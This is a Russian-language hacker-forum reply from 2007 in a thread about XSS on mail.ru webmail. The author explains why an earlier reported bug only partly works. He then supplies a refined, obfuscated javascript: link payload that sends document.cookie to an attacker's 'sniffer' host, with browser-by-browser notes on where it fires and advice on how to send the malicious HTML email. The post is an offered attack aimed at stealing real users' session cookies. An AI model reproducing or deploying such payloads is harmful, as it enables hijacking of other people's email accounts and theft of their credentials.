Тема: XSS на mail.ru
Показать сообщение отдельно

  #13  
Старый 17.10.2007, 00:13
LeverOne
Познающий
Регистрация: 22.02.2006
Сообщений: 67
Провел на форуме:
4155100

Репутация: 2033
По умолчанию

"мужики" все в Париже, а вот Я помогу тебе разобраться.

Начнем с того, что "багу" до сих пор еще не прикрыли, это свидетельствует о степени ее опасности. При том, что обычная пассивка на мыл ру, запощенная в этот раздел, держится дай бог неделю, косвенно можно предположить, какова цена этой "свежей" "баги" (с т.зр. саппорта через призму всех отписавшихся до меня ) .

Так вот, почему ее не прикрыли... Потому что уже сравнительно давно переход по такой ссылке на мыл ру опосредуется принудительно вставляемым в тег ссылки атрибутом target c параметром "_blank". Это значит, что перед тем, как попасть в адресную строку (на выполнение), твой код &#106&#97&#118&#97&#115&#99&#114&#105&#112&#116:document.images[0].src='http://адрес сниффера/s.gif?'+document.cookie; будет помещен на новую страницу. Это все равно что самостоятельно открыть новую страницу, вписать в адресную строку этот код и ждать прихода кук ! А алерты, конечно, пойдут! Только вот, видимо, очень плохо доходит инфа, что если где-то вдруг выскочил алерт, это не значит, что найдена бага XSS.
В отличие от этого, когда ты нажимаешь правой кнопкой "открыть", браузер сам берет ссылку с псевдоскриптом и выполняет его непосредственно в контексте того домена, откуда ее взял. Атрибут target при этом игнорируется. Вот почему ты видишь свои куки в этом случае. Но в ИЕ это не проходит, а в ФФ ссылка правой кнопкой открывается только в новом окне. Остается из популярных только Опера.

Теперь мы пойдем дальше и попробуем выжать из ситуации максимум

Когда ссылка, нажатая обычным образом или через правую кнопку, открывается в новом окне, где нет никаких картинок, нет смысла обращаться к первой картинке на странице, используя document.images[0].src ! Заменям это обычным динамическим созданием объекта картинки: img=new Image(); img.src
Далее, если посмотреть исходный код открывшейся страницы (при нажатии на ссылку обычным образом), там мы увидим, что на станице отобразилось все, что идет после src= , то есть адрес твоего сниффа. Используем это, вставляя на страницу код, отсылающий куки.
XSS примет вид:
PHP код:
<a href="&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116:img=new Image();img.src='<img src=http://адрес_сниффера/s.gif?'+escape(document.cookie)+'>';">text</a
Объясняю:
- на голую страницу помещается тег img c адресом сниффера
- но к этому адресу динамически прибавляются куки. Однако, куки разделены пробелами, в связи с чем может образоваться обрыв строки и на снифф отправится только первая кука. Мы снимаем эту проблему, преобразуя строку куки функцией escape (обратная - unescape(строка)).
- и, наконец, закрываем тег img

Обычным нажатием этот код будет работать только в ФФ.
В Опере этот код сработает, только если открыть ссылку правой кнопкой.
В ИЕ не сработает.

Письмо отправлять в штмл не с маил ру.

Посмотрим теперь, как быстро прикроют эту "багу".

Последний раз редактировалось LeverOne; 25.10.2007 в 19:53..
 
Ответить с цитированием